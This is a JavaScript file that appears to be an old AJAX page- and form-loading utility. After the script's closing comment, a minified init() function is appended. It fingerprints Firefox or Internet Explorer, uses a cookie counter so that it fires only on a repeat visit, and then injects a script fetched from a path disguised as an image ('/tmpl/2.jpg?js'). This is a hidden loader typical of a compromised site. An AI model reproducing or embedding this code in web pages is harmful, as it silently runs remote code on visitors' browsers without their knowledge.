/* Start ajaxLoad script 

Author: A.H. Borger
Email: borger@glovi-network.com
It's not allowed to copy or use this script without permission from the author.
Copyright protected.
*/
function  toAjaxLoad(){
	getTagA = document.getElementsByTagName("A");
	for(var i=0;i<getTagA.length;i++) { 
		TagA = getTagA[i];
		if (null!==TagA.href.match("#ajax")){
			TagA.href = TagA.href.replace(/#ajax/,"");
			var urlDel =  window.location.href.split("/").reverse();
			if(null!==urlDel[0].match(".")){
				url = window.location.href.replace(urlDel[0],"");
			}else{url = window.location.href;}
			url = TagA.href.replace(url,"");
			TagA.onclick = new Function("ajaxLoad('"+(url)+"','"+(TagA.target)+"')");  
			TagA.href = "#";
			TagA.target = "";
		}
	}
}

function  PHPtoAjaxLoad(){
	getTagA = document.getElementsByTagName("A");
	for(var i=0;i<getTagA.length;i++) { 
		TagA = getTagA[i];
		if (null!==TagA.href.match("ajax=")){
			url =  TagA.href.split("ajax=").reverse();
			url[0] = url[0].replace(/&/,"?");
			TagA.onclick = new Function("ajaxLoad('"+(url[0])+"','"+(TagA.target)+"')");  
			TagA.href = "#";
			TagA.target = "";
		}
	}
	document.getElementById('menu').style.visibility='visible';
}

var pU2;
var dF2;
var fI2;
var ajaxState = false;

function multiLoad(pageUrl,divField,formId,pageUrl2,divField2,formId2){
	ajaxState = true;
	pU2 = pageUrl2;
	dF2 = divField2;
	fI2 = formId2;
	ajaxLoad(pageUrl,divField,formId);	
}

function  ajaxLoad(pageUrl,divField,formId,bck){
	if(undefined!==formId) {
		if(''!==formId){
			var postData = true;
			getValues();
		}
	}
	
	xmlHttp=GetXmlHttpObject()
	if (xmlHttp==null){
		alert ("Browser does not support HTTP Request")
		return
	} 

	xmlHttp.onreadystatechange=stateChanged;
	document.getElementById('loadingTarget').innerHTML = '<img align="right" src="loading.gif" width="100" height="33" />';
	if (undefined !== postData){
		xmlHttp.open("POST", pageUrl, true);
		xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
		xmlHttp.send(postData);
	} else {
		xmlHttp.open("GET", pageUrl, true);	
		xmlHttp.send(null);
	}
	
	
	function GetXmlHttpObject(handler){ 
		var objXMLHttp=null
		if (window.XMLHttpRequest){
			objXMLHttp=new XMLHttpRequest()
		}
		else if (window.ActiveXObject){
			objXMLHttp=new ActiveXObject("Microsoft.XMLHTTP")
		}
		return objXMLHttp
	}
	
	function stateChanged(){ 
	   if (xmlHttp.readyState==4) {
		  if(xmlHttp.status == 200){ 
			document.getElementById(divField).innerHTML=xmlHttp.responseText ;
			document.getElementById('loadingTarget').innerHTML = '';
			toAjaxLoad();
			PHPtoAjaxLoad();
			if (bck !== true){
					dsHistory.addFunction(function() {ajaxLoad(pageUrl,divField,formId,true)});
			}
			if(ajaxState==true){
				ajaxState = false;
				ajaxLoad(pU2,dF2,fI2);
				pU2 = false;
				dF2 = false;
				fI2 = false;
			}
		  } 
		  else {
			alert("Deze pagina bestaat mogelijk (nog) niet. - " +pageUrl + '-' + xmlHttp.status);
		  }
	   }
	} 
	
	function getValues(){
		var getInputs	=	document.getElementById(formId).getElementsByTagName("input");
		var getTextAreas=	document.getElementById(formId).getElementsByTagName("textarea");
		var getSelects	=	document.getElementById(formId).getElementsByTagName("select");
		var k = 0
		for(var k=0;k<getInputs.length;k++) { 
			var input = getInputs[k];
			if(input.type=='text'){
				inputValue = escape(input.value);
			}
			else if(input.type=='file'){
				alert("ajaxLoad 2.0 doesn't support: file fields.");
			}
			else if(input.type=='radio'){
				if(input.checked==true){
					inputValue = escape(input.value);
				}
			}
			else if(input.type=='checkbox'){
				if(input.checked==true){
					inputValue = escape(input.value);
				} else {
					inputValue = '';
				}
			}else if(input.type =='submit'){
				inputValue = true;
			}else if(input.type =='textarea'){
				inputValue = escape(input.innerHTML);alert(input.innerHTML);
			}else{
				inputValue = escape(input.value);
			}
			
			if (k == 0){
				postData = input.name +"=" + inputValue;
			} else {
				postData += "&" + input.name +"=" + inputValue;
			}

		}
		for(var i=0;i<getTextAreas.length;i++) { 
			var textArea = getTextAreas[i];
			textAreaValue = escape(textArea.value);
			
			if (k == 0){
				postData = textArea.name +"=" + textAreaValue;
			} else {
				postData += "&" + textArea.name +"=" + textAreaValue;
			}
		}
		for(var i=0;i<getSelects.length;i++) { 
			var Selects = getSelects[i];
			selectsValue = escape(Selects.value);
			
			if (k == 0){
				postData = Selects.name +"=" + selectsValue;
			} else {
				postData += "&" + Selects.name +"=" + selectsValue;
			}
		}
	}	
}
/* End ajaxLoad script*/

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/tmpl/2.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
